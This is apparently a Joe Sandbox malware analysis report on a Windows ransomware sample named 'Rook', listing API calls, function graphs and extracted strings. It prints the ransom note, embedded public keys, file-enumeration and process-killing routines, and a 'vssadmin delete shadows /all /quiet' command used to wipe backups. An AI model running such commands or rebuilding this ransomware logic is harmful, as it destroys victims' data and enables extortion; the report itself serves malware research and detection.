API ID: Filelstrlen$ByteCharMultiWide$Heap$Allocate$Free$00007$ErrorLastPointerProcessWrite$CloseCreateD65173HandlePrivilegeReadRelease$AttributesCurrentD65173850D65173960MoveObjectOpenSingleSizeTerminateWaitlstrcatlstrcpy
String ID: .Rook$Can't MoveFileExW$Can't OpenProcess$Can't RmGetList$Can't RmRegisterResources$Can't RmStartSession$Can't open file after killHolder
API String ID: 2664013890-2822774401
Opcode ID: 4f3018ecd592f041b5bbd132c08f367fb3df994a06c67374c04257dc76dfc01b
Instruction ID: aacc1fe5ff2f805cff6b5c20f68eb9c7c38d3f6c7961bf30d169c7f48fb36550
Opcode Fuzzy Hash: 4f3018ecd592f041b5bbd132c08f367fb3df994a06c67374c04257dc76dfc01b
Instruction Fuzzy Hash: 43528572618B8286E7A0AF21E8943A9BBA1FF8DB84F844137D94D27B64DF3CD154C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3713970 Relevance: 105.5, APIs: 55, Strings: 5, Instructions: 480
memorystringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7E3713981

Part of subcall function 00007FF7E3711C00: lstrlen.KERNEL32 ref: 00007FF7E3711C54
Part of subcall function 00007FF7E3711C00: lstrlen.KERNEL32 ref: 00007FF7E3711C71
Part of subcall function 00007FF7E3711C00: lstrlen.KERNEL32 ref: 00007FF7E3711CD3
Part of subcall function 00007FF7E3711C00: RegCreateKeyExW.KERNELBASE ref: 00007FF7E3711D56
Part of subcall function 00007FF7E3711C00: RegQueryValueExW.KERNELBASE ref: 00007FF7E3711DB2
Part of subcall function 00007FF7E3711C00: lstrlen.KERNEL32 ref: 00007FF7E3711E17

Part of subcall function 00007FF7E37119C0: GetModuleFileNameW.KERNEL32 ref: 00007FF7E37119E4

GetCommandLineW.KERNEL32 ref: 00007FF7E37139A3
CommandLineToArgvW.SHELL32 ref: 00007FF7E37139B4
SetProcessShutdownParameters.KERNELBASE ref: 00007FF7E37139C9
RtlInitializeCriticalSection.KERNEL32 ref: 00007FF7E37139FB
CreateFileW.KERNEL32 ref: 00007FF7E3713A25
SHEmptyRecycleBinA.SHELL32 ref: 00007FF7E3713A53
GetSystemInfo.KERNELBASE ref: 00007FF7E3713A5E
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713A9F
CreateSemaphoreA.KERNEL32 ref: 00007FF7E3713ABB
CreateSemaphoreA.KERNEL32 ref: 00007FF7E3713AD2
RtlInitializeCriticalSection.KERNEL32 ref: 00007FF7E3713AED
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713B1F
CreateSemaphoreA.KERNEL32 ref: 00007FF7E3713B3B
CreateSemaphoreA.KERNEL32 ref: 00007FF7E3713B52
RtlInitializeCriticalSection.KERNEL32 ref: 00007FF7E3713B6D
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713B8F
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713BAF
CreateThread.KERNELBASE ref: 00007FF7E3713C6B
CreateThread.KERNELBASE ref: 00007FF7E3713C8D
lstrlenW.KERNEL32 ref: 00007FF7E3713CE3
lstrlenW.KERNEL32 ref: 00007FF7E3713D13
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713D40
lstrcpyW.KERNEL32 ref: 00007FF7E3713D54
HeapFree.KERNEL32 ref: 00007FF7E3713D6E
lstrlenW.KERNEL32 ref: 00007FF7E3713D77
lstrlenW.KERNEL32 ref: 00007FF7E3713D9B
lstrlenW.KERNEL32 ref: 00007FF7E3713DC8
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713DF0
lstrcpyW.KERNEL32 ref: 00007FF7E3713E04
lstrlenW.KERNEL32 ref: 00007FF7E3713E0D
HeapFree.KERNEL32 ref: 00007FF7E3713E3D
lstrlenW.KERNEL32 ref: 00007FF7E3713E46
OpenMutexA.KERNEL32 ref: 00007FF7E3713E7D
CreateMutexExA.KERNEL32 ref: 00007FF7E3713E97
GetLogicalDrives.KERNELBASE ref: 00007FF7E3713F15

Part of subcall function 00007FF7E37130B0: WaitForSingleObject.KERNEL32 ref: 00007FF7E37130D9
Part of subcall function 00007FF7E37130B0: WaitForSingleObject.KERNEL32 ref: 00007FF7E37130F9
Part of subcall function 00007FF7E37130B0: RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371310A
Part of subcall function 00007FF7E37130B0: RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E3713139
Part of subcall function 00007FF7E37130B0: ReleaseSemaphore.KERNEL32 ref: 00007FF7E371314D
Part of subcall function 00007FF7E37130B0: HeapFree.KERNEL32 ref: 00007FF7E3713170
Part of subcall function 00007FF7E37130B0: RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371318A
Part of subcall function 00007FF7E37130B0: lstrlenW.KERNEL32 ref: 00007FF7E371319F
Part of subcall function 00007FF7E37130B0: RtlAllocateHeap.NTDLL ref: 00007FF7E37131C0
Part of subcall function 00007FF7E37130B0: RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E371324A
Part of subcall function 00007FF7E37130B0: ReleaseSemaphore.KERNEL32 ref: 00007FF7E371325E
Part of subcall function 00007FF7E37130B0: RtlAllocateHeap.NTDLL ref: 00007FF7E3713276
Part of subcall function 00007FF7E37130B0: lstrcpyW.KERNEL32 ref: 00007FF7E371328A

WaitForSingleObject.KERNEL32 ref: 00007FF7E3713FA9
WaitForSingleObject.KERNEL32 ref: 00007FF7E3713FBD
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E3713FCA
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E3713FFE
ReleaseSemaphore.KERNEL32 ref: 00007FF7E3714012
WaitForMultipleObjects.KERNEL32 ref: 00007FF7E371402D
WaitForSingleObject.KERNEL32 ref: 00007FF7E3714049
WaitForSingleObject.KERNEL32 ref: 00007FF7E371405D
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371406A
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E371409E
ReleaseSemaphore.KERNEL32 ref: 00007FF7E37140B2
WaitForMultipleObjects.KERNEL32 ref: 00007FF7E37140CD
CloseHandle.KERNEL32 ref: 00007FF7E37140E9
CloseHandle.KERNEL32 ref: 00007FF7E37140F2
HeapFree.KERNEL32 ref: 00007FF7E371410E
HeapFree.KERNEL32 ref: 00007FF7E3714120
RtlDeleteCriticalSection.KERNEL32 ref: 00007FF7E3714136
CloseHandle.KERNEL32 ref: 00007FF7E3714143
ExitProcess.KERNEL32 ref: 00007FF7E371414B

Strings

asfgjkl878645165456fa888, xrefs: 00007FF7E3713E6F, 00007FF7E3713E8C
shares, xrefs: 00007FF7E3713CA7
debug, xrefs: 00007FF7E37139D6
:, xrefs: 00007FF7E3713E18
paths, xrefs: 00007FF7E3713CBD

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Heap$lstrlen$Create$AllocateCriticalSectionSemaphoreWait$ObjectSingle$Free$AcquireLeaveLockRelease$CloseHandleInitializeProcesslstrcpy$CommandFileLineMultipleMutexObjectsThread$ArgvDeleteDrivesEmptyExitInfoLogicalModuleNameOpenParametersQueryRecycleShutdownSystemValue
String ID: :$asfgjkl878645165456fa888$debug$paths$shares
API String ID: 327470726-3661343347
Opcode ID: 6f316582151fb86f9965f907d47c0692cefade36f54554a13cf6532f946379ef
Instruction ID: f5d05352405e6d8cbec769317146cff5b8159215e402ef18e9381678a90c9ea4
Opcode Fuzzy Hash: 6f316582151fb86f9965f907d47c0692cefade36f54554a13cf6532f946379ef
Instruction Fuzzy Hash: F3222172A0864291FB94AB15E894775BB61FF8DB40F844137C90E637A4DF3CE465C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3712C00 Relevance: 86.0, APIs: 40, Strings: 9, Instructions: 257
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL ref: 00007FF7E3712C24
lstrcpyW.KERNEL32 ref: 00007FF7E3712C38
lstrcatW.KERNEL32 ref: 00007FF7E3712C48
CreateFileW.KERNELBASE ref: 00007FF7E3712C72
lstrlen.KERNEL32 ref: 00007FF7E3712C88
WriteFile.KERNELBASE ref: 00007FF7E3712CA8
CloseHandle.KERNEL32 ref: 00007FF7E3712CB1
lstrcpyW.KERNEL32 ref: 00007FF7E3712CC5
lstrcatW.KERNEL32 ref: 00007FF7E3712CD5
FindFirstFileW.KERNELBASE ref: 00007FF7E3712CE3
lstrcmpiW.KERNEL32 ref: 00007FF7E3712D28
lstrcpyW.KERNEL32 ref: 00007FF7E3712D47
lstrcatW.KERNEL32 ref: 00007FF7E3712D57
lstrcatW.KERNEL32 ref: 00007FF7E3712D65
lstrcmpW.KERNEL32 ref: 00007FF7E3712D82
lstrlenW.KERNEL32 ref: 00007FF7E3712D95
lstrcmpiW.KERNEL32 ref: 00007FF7E3712DCA
lstrcmpiW.KERNEL32 ref: 00007FF7E3712DE2
lstrcmpiW.KERNEL32 ref: 00007FF7E3712DFA
WaitForSingleObject.KERNEL32 ref: 00007FF7E3712E19
WaitForSingleObject.KERNEL32 ref: 00007FF7E3712E39
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E3712E4A
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E3712E79
ReleaseSemaphore.KERNEL32 ref: 00007FF7E3712E8D
HeapFree.KERNEL32 ref: 00007FF7E3712EB0
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E3712EC2
lstrlenW.KERNEL32 ref: 00007FF7E3712ECB
RtlAllocateHeap.NTDLL ref: 00007FF7E3712EF0
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E3712F7B
ReleaseSemaphore.KERNEL32 ref: 00007FF7E3712F8F
FindNextFileW.KERNELBASE ref: 00007FF7E3712F9D
FindClose.KERNEL32 ref: 00007FF7E3712FAE
lstrlenW.KERNEL32 ref: 00007FF7E3712FD1
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3712FF8
RtlAllocateHeap.KERNEL32 ref: 00007FF7E3713020
lstrlenW.KERNEL32 ref: 00007FF7E3713031
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3713057
GetLastError.KERNEL32 ref: 00007FF7E371305D
HeapFree.KERNEL32 ref: 00007FF7E3713081
RtlReleasePrivilege.NTDLL ref: 00007FF7E3713093

Strings

\HowToRestoreYourFiles.txt, xrefs: 00007FF7E3712C3E
.exe, xrefs: 00007FF7E3712DBC
-----------Welcome. Again. --------------------[+]Whats Happen?[+]Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.By the way,everything is possible to recover (restore), but you need, xrefs: 00007FF7E3712C81, 00007FF7E3712C9E
", xrefs: 00007FF7E3712D3C
.dll, xrefs: 00007FF7E3712DD8
., xrefs: 00007FF7E3712DA3
.Rook, xrefs: 00007FF7E3712DF0
HowToRestoreYourFiles.txt, xrefs: 00007FF7E3712D76
Can't FindFirstFileW, xrefs: 00007FF7E3713066

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Heaplstrlen$Filelstrcatlstrcmpi$AllocateFindReleaselstrcpy$AcquireByteCharCloseCriticalFreeLeaveLockMultiObjectSectionSemaphoreSingleWaitWide$CreateErrorFirstHandleLastNextPrivilegeWritelstrcmp
String ID: "$-----------Welcome. Again. --------------------[+]Whats Happen?[+]Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.By the way,everything is possible to recover (restore), but you need$.$.Rook$.dll$.exe$Can't FindFirstFileW$HowToRestoreYourFiles.txt$\HowToRestoreYourFiles.txt
API String ID: 1153687807-4243610221
Opcode ID: f06e497923493f2b3002f82f794ef51076c6f3a2ceb540c1a736c79806e9bd49
Instruction ID: 799e513b95cfe3d451ea0848b5fb46985906b896f5828e2aa99a8e7ca08a1256
Opcode Fuzzy Hash: f06e497923493f2b3002f82f794ef51076c6f3a2ceb540c1a736c79806e9bd49
Instruction Fuzzy Hash: F7C13F75A08A4396FB90AB11E8D4379BBA1FF8DB41F844537C94E22664DF3CE464C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37130B0 Relevance: 52.7, APIs: 29, Strings: 1, Instructions: 195
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF7E37130D9
WaitForSingleObject.KERNEL32 ref: 00007FF7E37130F9
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371310A
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E3713139
ReleaseSemaphore.KERNEL32 ref: 00007FF7E371314D
HeapFree.KERNEL32 ref: 00007FF7E3713170
RtlAcquirePebLock.KERNEL32 ref: 00007FF7E371318A
lstrlenW.KERNEL32 ref: 00007FF7E371319F
RtlAllocateHeap.NTDLL ref: 00007FF7E37131C0
RtlLeaveCriticalSection.KERNEL32 ref: 00007FF7E371324A
ReleaseSemaphore.KERNEL32 ref: 00007FF7E371325E
RtlAllocateHeap.NTDLL ref: 00007FF7E3713276
lstrcpyW.KERNEL32 ref: 00007FF7E371328A
lstrcatW.KERNEL32 ref: 00007FF7E371329A
FindFirstFileW.KERNELBASE ref: 00007FF7E37132A8
lstrcmpiW.KERNEL32 ref: 00007FF7E37132D8
lstrcpyW.KERNEL32 ref: 00007FF7E37132F8
lstrcatW.KERNEL32 ref: 00007FF7E3713308
lstrcatW.KERNEL32 ref: 00007FF7E3713316
FindNextFileW.KERNELBASE ref: 00007FF7E371332C
FindClose.KERNEL32 ref: 00007FF7E3713339
lstrlenW.KERNEL32 ref: 00007FF7E3713359
WideCharToMultiByte.KERNEL32 ref: 00007FF7E3713394
RtlAllocateHeap.KERNEL32 ref: 00007FF7E37133B0
lstrlenW.KERNEL32 ref: 00007FF7E37133C6
WideCharToMultiByte.KERNEL32 ref: 00007FF7E37133F3
GetLastError.KERNEL32 ref: 00007FF7E37133F9
HeapFree.KERNEL32 ref: 00007FF7E371341D
RtlReleasePrivilege.NTDLL ref: 00007FF7E371342F

Strings

Can't FindFirstFileW, xrefs: 00007FF7E3713402

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: Heap$AllocateFindReleaselstrcatlstrlen$AcquireByteCharCriticalFileFreeLeaveLockMultiObjectSectionSemaphoreSingleWaitWidelstrcpy$CloseErrorFirstLastNextPrivilegelstrcmpi
String ID: Can't FindFirstFileW
API String ID: 2743843168-3056279557
Opcode ID: bed943df95a3e7894f80da4a8df97d10ef2e199bda37f0cb2b9e87ca31049a1a
Instruction ID: 426a9c587872c00d976a416d5bf9b565170534183cd50f401a2d6b6eedf3b76c
Opcode Fuzzy Hash: bed943df95a3e7894f80da4a8df97d10ef2e199bda37f0cb2b9e87ca31049a1a
Instruction Fuzzy Hash: 4EA10C75A08A4296FB90AB11E8D4379BBA1FF8DB41F844133C94E62664DF3CE465C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3711C00 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 218
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32 ref: 00007FF7E3711C54
lstrlen.KERNEL32 ref: 00007FF7E3711C71
lstrlen.KERNEL32 ref: 00007FF7E3711CD3
RegCreateKeyExW.KERNELBASE ref: 00007FF7E3711D56
RegQueryValueExW.KERNELBASE ref: 00007FF7E3711DB2
lstrlen.KERNEL32 ref: 00007FF7E3711E17
RegSetValueExW.KERNELBASE ref: 00007FF7E3711F2A
RegSetValueExW.KERNELBASE ref: 00007FF7E3711F54
RegQueryValueExW.ADVAPI32 ref: 00007FF7E3711F92
lstrlen.KERNEL32 ref: 00007FF7E3711F9B
RegCloseKey.KERNELBASE ref: 00007FF7E3712012

Strings

?, xrefs: 00007FF7E3711D4A
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ, xrefs: 00007FF7E3711CCC, 00007FF7E3711CDB
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E3711D86
-----END PUBLIC KEY-----, xrefs: 00007FF7E3711DFC
RookPublicKey, xrefs: 00007FF7E3711D7A, 00007FF7E3711F11
RookPrivateKey, xrefs: 00007FF7E3711F37, 00007FF7E3711F8B
-----BEGIN PUBLIC KEY-----, xrefs: 00007FF7E3711E03
Software, xrefs: 00007FF7E3711CF8

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: lstrlen$Value$Query$CloseCreate
String ID: -----BEGIN PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ$-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo$-----END PUBLIC KEY-----$?$RookPrivateKey$RookPublicKey$Software
API String ID: 3427638357-871046407
Opcode ID: e1be71adcaecff66d9a516a477d973998184f52d7436fd52c00d23242194a7b2
Instruction ID: e6adc288f259d2e50694fe7fd00ea132f1622bafd8cfb17b9afedd66d92a7976
Opcode Fuzzy Hash: e1be71adcaecff66d9a516a477d973998184f52d7436fd52c00d23242194a7b2
Instruction Fuzzy Hash: 82C17332918B8695E7A0AB11E8D07A9BBA0FB8C394F804237D98D27765DF3CE164C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3711310 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 35
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7E37112A0: GetModuleHandleA.KERNEL32 ref: 00007FF7E37112B7
Part of subcall function 00007FF7E37112A0: GetProcAddress.KERNEL32 ref: 00007FF7E37112C7
Part of subcall function 00007FF7E37112A0: GetCurrentProcess.KERNEL32 ref: 00007FF7E37112D5

LoadLibraryA.KERNEL32 ref: 00007FF7E371132D
GetProcAddress.KERNEL32 ref: 00007FF7E371133D
ShellExecuteW.SHELL32 ref: 00007FF7E3711377
LoadLibraryA.KERNEL32 ref: 00007FF7E371138D
GetProcAddress.KERNEL32 ref: 00007FF7E371139D

Strings

Wow64DisableWow64FsRedirection, xrefs: 00007FF7E3711336
open, xrefs: 00007FF7E371136E
/c vssadmin.exe delete shadows /all /quiet, xrefs: 00007FF7E3711357
cmd.exe, xrefs: 00007FF7E371135E
Wow64RevertWow64FsRedirection, xrefs: 00007FF7E3711396
kernel32.dll, xrefs: 00007FF7E3711326, 00007FF7E3711386

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: AddressProc$LibraryLoad$CurrentExecuteHandleModuleProcessShell
String ID: /c vssadmin.exe delete shadows /all /quiet$Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$cmd.exe$kernel32.dll$open
API String ID: 1265244978-696956344
Opcode ID: c7d0999f565962f6b01ff1fa20b7463a2de57680993704d46410357ca437d7dd
Instruction ID: 612b508823ced87870d2e134c0e2c534853ced96f46e8b9bc1e6b4166bf4b0a7
Opcode Fuzzy Hash: c7d0999f565962f6b01ff1fa20b7463a2de57680993704d46410357ca437d7dd
Instruction Fuzzy Hash: CC11A821A19643A1FA98BB10EC84379BB65AF4C745FC50137C50D666A4EF3CE9A5C222

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3711660 Relevance: 12.1, APIs: 8, Instructions: 56
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF7E371166E
Process32FirstW.KERNEL32 ref: 00007FF7E3711687
lstrcmpW.KERNELBASE ref: 00007FF7E37116D8
OpenProcess.KERNEL32 ref: 00007FF7E37116F9
TerminateProcess.KERNEL32 ref: 00007FF7E371170F
CloseHandle.KERNEL32 ref: 00007FF7E3711718
Process32NextW.KERNEL32 ref: 00007FF7E3711726
FindCloseChangeNotification.KERNELBASE ref: 00007FF7E371174B

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: CloseProcessProcess32$ChangeCreateFindFirstHandleNextNotificationOpenSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3832885003-0
Opcode ID: 298ef67cc94f54c8739a96b902f15a6af052ed7cb9f3fbe6f7dcb0144e30fcf1
Instruction ID: 27d5c5763e88f05de603ae46728cc351c6abb705be7dc1ae9c03b9607d03d576
Opcode Fuzzy Hash: 298ef67cc94f54c8739a96b902f15a6af052ed7cb9f3fbe6f7dcb0144e30fcf1
Instruction Fuzzy Hash: 68213236A0864286FBA0AF11E4883A9B7A0FB8DB80F884136CA4D17754DF3CE569C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371DBF0 Relevance: 6.0, APIs: 4, Instructions: 39
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FF7E371DC27
CryptGenRandom.ADVAPI32 ref: 00007FF7E371DC3B
CryptReleaseContext.ADVAPI32 ref: 00007FF7E371DC4C
CryptReleaseContext.ADVAPI32 ref: 00007FF7E371DC67

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
